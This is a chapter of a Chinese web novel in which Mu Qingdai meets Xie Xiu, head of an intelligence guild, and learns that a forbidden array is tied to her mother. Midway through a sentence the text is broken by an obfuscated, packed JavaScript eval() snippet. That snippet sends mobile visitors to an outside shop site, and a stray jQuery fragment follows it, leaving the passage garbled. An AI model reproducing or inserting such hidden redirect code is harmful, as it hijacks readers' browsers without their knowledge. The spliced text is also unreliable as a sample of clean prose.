屋内晨光正好。
福桃还在琢磨刚才那句话,眨着眼一脸不解地追问:“您方才说……”
福月适时打断道:“小姐,今日厨房新做了几样早点,您想用些什么?”
一听到吃的福桃眼睛都亮了,瞬间忘记了方才的疑惑,语气欢快地向穆青黛介绍今天的早点。
“对呀对呀,今儿个厨房做了莲子糕、蟹粉蒸饺还有……”
福桃喋喋不休地介绍着今天的早点。
穆青黛垂眸浅笑,静静地看着眼前的情景,眉眼柔和,整个屋子里一派岁月静好的模样。
……
午后,日头正好,阳光铺洒在长街楼阁之上。
醉语楼往来宾客络绎不绝,热闹非凡。
穆青黛静静立在醉语楼门前。
她身着一领浅月水蓝衣裙,衬得她整个人身姿挺拔,青丝仅一支白玉簪束起,一张小脸不施粉黛。
那双眸子沉静如水,自带着一股疏离的气质,在满街浮华热闹里,显得格外干净。
她抬步径直往里走,走到掌柜面前,语气平静,直白地对着掌柜说道:“劳烦帮我通报一声,我想见你们寒影阁阁主。”
掌柜的显然有些被吓到了,片刻才连忙拱手婉拒,态度客气地直接拒绝。
“姑娘见谅,阁主向来不见外客,在下不便通传,姑娘还是请回吧。”
说话的正是经营醉语楼多年的吴掌柜,他在醉语楼担任掌柜多年,还是第一次见到一个人就这样直接的来说想见阁主的人。
不过他知道阁主规矩,寻常权贵登门都不一定能得一见,眼前这般的年轻女子,更是绝无可能。
穆青黛神色未变,依旧从容不迫,也不做多余辩解,五指缓缓张开。
一枚墨玉令牌静卧在白皙的掌心中,定眼一看,令牌上镌刻着细密的暗纹。
吴掌柜看到这枚令牌的瞬间,瞳孔猛地收缩,浑身一震,立刻躬身行礼,方才的推辞尽数作废,言语中满是惶恐与恭敬。
“属下有眼无珠,不知贵客驾临,方才的冒犯还望您不要往心里去。”
他一边说着一边侧身摆手,做出引路的姿态。
“阁主此时正在楼上,属下这就带您去!”
醉语楼一楼谈笑声不断,可越往楼上深处走,周遭就越静谧,层层隔绝,人声喧嚣全都被挡在楼下,连空气都冷了几分。
还真是他的行事风格。
穆青黛一边走一边观察道。
吴掌柜停在最深处的雕花雅间门外,垂首恭敬地禀报:“阁主,门外有贵客持令牌求见。”
门内静默片刻,一道低沉慵懒却带着几分压迫感的声音缓缓传出;“进来。”
嗓音清冽带着磁性,分不清喜怒。
吴掌柜一听这话连忙抬手推开房门,侧身退让,恭恭敬敬地对着穆青黛说道:“姑娘请进!”
穆青黛问问颔首,抬步走入雅间。
吴掌柜躬身目送穆青黛走进雅间,抬手轻轻合上面前的门,彻底隔绝了雅间内的动静。
他敛了神色,顺着楼梯快步下楼,刚到一楼大堂,一旁伺候的小伙计便忍不住凑上前来好奇地问道。
“掌柜的,方才那位姑娘看着年纪轻轻的,不知道是什么来头?值得您这般恭敬的对待。”
吴掌柜脚步一顿,眼里的震惊还没来得及褪去,脑海里不由得浮现出那枚刻着暗纹的墨玉令牌,那可是阁主亲令,见到此令牌如同见到阁主。
想到这,他并没有解答伙计的疑惑,只是沉下脸,厉声叮嘱道:“少打听不该打听的事。记住了,今后这位姑娘再来,无需阻拦,直接禀报逐影大人即可。”
伙计见他神情严肃,知道事关重大,也不敢再追问,连忙点头应道。
木门轻轻合拢,咔嗒一声轻响,楼下的喧哗、人声都被尽数隔绝。
雅间内一片寂静,午后阳光透过雕花窗户铺满屋内,穆青黛站定,顺势抬眸缓缓打量四周。
屋内布置素雅,陈设寥寥却雅致,一张宽大的梨花木圆桌放在中间,桌上放着一块砚台、半叠素纸,窗边立着一架镂空博古架,零星摆放着几件古朴器具,低调厚重,暗藏古蕴。
她的目光很快收回,落在身前男子身上。
初见时,她只当谢修是个体弱多病的闲散王爷,纵然脸长得很好看却是个不受重视的,再后来护国寺一见她也只当他是为了活命才装作柔弱,顶多算是个有心机的。
却不曾想这位人前孱弱的病弱王爷竟是执掌宸朝最大情报组织的背后之人。
穆青黛心绪微沉,收回目光,面上依旧是那副平静带着疏离的模样,直截了当的进入正题。
“誉王殿下,我今日前来是想问在猎场时我交予你的图纸,可有什么进展?”
谢修从她进来之后也一直在观察着她,此时听到她一开口就称呼自己为誉王,他眉峰微微一挑,骤然开口,声音低沉清晰。
“第一个要求。”
穆青黛闻言微微一怔。
她刚才脑子里全都是关于那张神秘图纸,脑子微微一空,竟有片刻恍惚,没有听清他说的话。
她下意识眉心微蹙,眼神里带着一丝茫然的迟疑,开口问道:“什么?”
谢修看着她这副没反应过来的模样,唇角忍不住勾起一抹极淡的笑容,再度缓缓开口,一字一句,清晰地说:“我说我现在要你兑现你的第一个承诺。”
这一次的语气褪去了散漫,多了几分认真。
话音刚落,穆青黛忽然回神。
那晚的记忆瞬间回笼,那时为了让他倾尽全力帮自己,她亲口许诺了他三个条件,只要不危及她的性命,无论难易、绝不反悔。
想到这,穆青黛缓缓抬眼,眸光清澈认真,正视着他,郑重地回道:“你说。”
她心里暗自紧绷,已然做好了应对任何苛刻要求的准备,她屏息等待,神色严肃,半点不敢懈怠。
谢修望着她如临大敌的样子,眼里的笑意更甚。
“我的名字,谢修。”
这下也没有让穆青黛再猜他话中的意思,又说了一遍。
“我的第一个要求就是,以后叫我的名字,谢修。”
此话一出,她紧绷的情绪在这一刻突然落下,随即升起的是一股无语的微妙情绪。
当初她许下三个承诺时,字字慎重,为此她处处设防,早已预设了无数棘手的状况。
但穆青黛却万万没想到,他煞有其事提起的第一个要求,竟然只是区区一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556231|202451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
称呼。
短暂的错愕之后,她心念飞快一转,这笔交易,划算至极。
她从来不是扭捏之人,既然觉得很值得,那就不会再有顾虑,心里坦荡无半分芥蒂。
穆青黛抬眸望着眼前的人,清晰认真地唤出两个字。
“谢修。”
谢修听着她轻软干净的声音,指尖几不可察地蜷了蜷,墨色的眸子掠过一丝愉悦。
接着他直接开口,语气自然:“青黛,坐。”
穆青黛闻言神色未变,心底坦然,顺势在一旁的桌子旁落座。
谢修见她坦然接受,眼里笑意又深了几分,随即走到墙壁边,从暗格里取出整理好的卷宗与那张图纸,一并推到她面前。
指尖轻轻敲了敲纸页,对着穆青黛说道:“这阵法图的事,目前只查到大半,还差一部分关键线索没有眉目。”
穆青黛在醉语楼二楼最深处的雅间,整整待了一个时辰。
日影偏移,时辰将晚。
她收起心绪,敛了神色,起身准备告辞。
她站起身来,身姿挺拔,略带感激地说道:“今日多谢你,另外。”
她抬眸认真地看着谢修,接着说道:“昨晚的事也谢谢你。”
她并没有点明昨晚发生了什么,她相信谢修知道她在谢什么。
谢修闻言,墨黑眼眸淡淡落在她身上,唇角勾起一抹弧度,他自然听懂了她在谢什么,语气从容。
“无妨。”
不过是举手之劳,护他想护的人而已。
说起来,他也有自己的私心,太子现在还不能动,但穆清羽就不一样了。
走出醉语楼时,夕阳余晖洒满长街,晚风微凉。
等待已久的马车静静停靠在路边,穆青黛弯腰登车,车帘轻轻落下,瞬间隔绝了外界所有光影与人声。
车厢内一如既往的安静,只剩下车轮碾过青石板路的细碎声,缓缓回荡。
穆青黛靠在柔软的车垫上,缓缓闭上眼,方才雅间内谢修说过的话,此刻尽数在她脑海里回放。
谢修指尖落在泛黄的古籍残页上,他褪去了平日里的懒散玩味,神色严肃,字字清晰。
“这是百年前的禁阵,现存的资料太少,这是我目前能够找到的全部有关的记载。”
他现在只能确认这是一个古老的阵法,至于这阵法怎么启动,目前还没有确切定论。
只有一点,让他格外在意。
“我顺着残存痕迹往下查,发现关于这阵法最早的线索,与你母亲有关。”
这句话一直在穆青黛脑海里反复回荡。
她慢慢睁开眼睛,指尖骤然收紧。
她之前一直有个不好的预感,怀疑阵法与自己的命格相关,可这终究只是猜测,没有半分依据,还因为目前线索不足导致自己的思绪总是断断续续的。
她知道自己一直在林氏的算计之中,只是不知道她们的最终目的到底是什么。
但现在这个阵法既然指向了林氏,反倒给了穆青黛一个新的突破口。
弄清楚林氏与这个阵法的关系,或许所有谜团都能被破解。
马车缓缓向前,暮色渐沉。
一个全新的调查方向,在她心底悄然定了下来。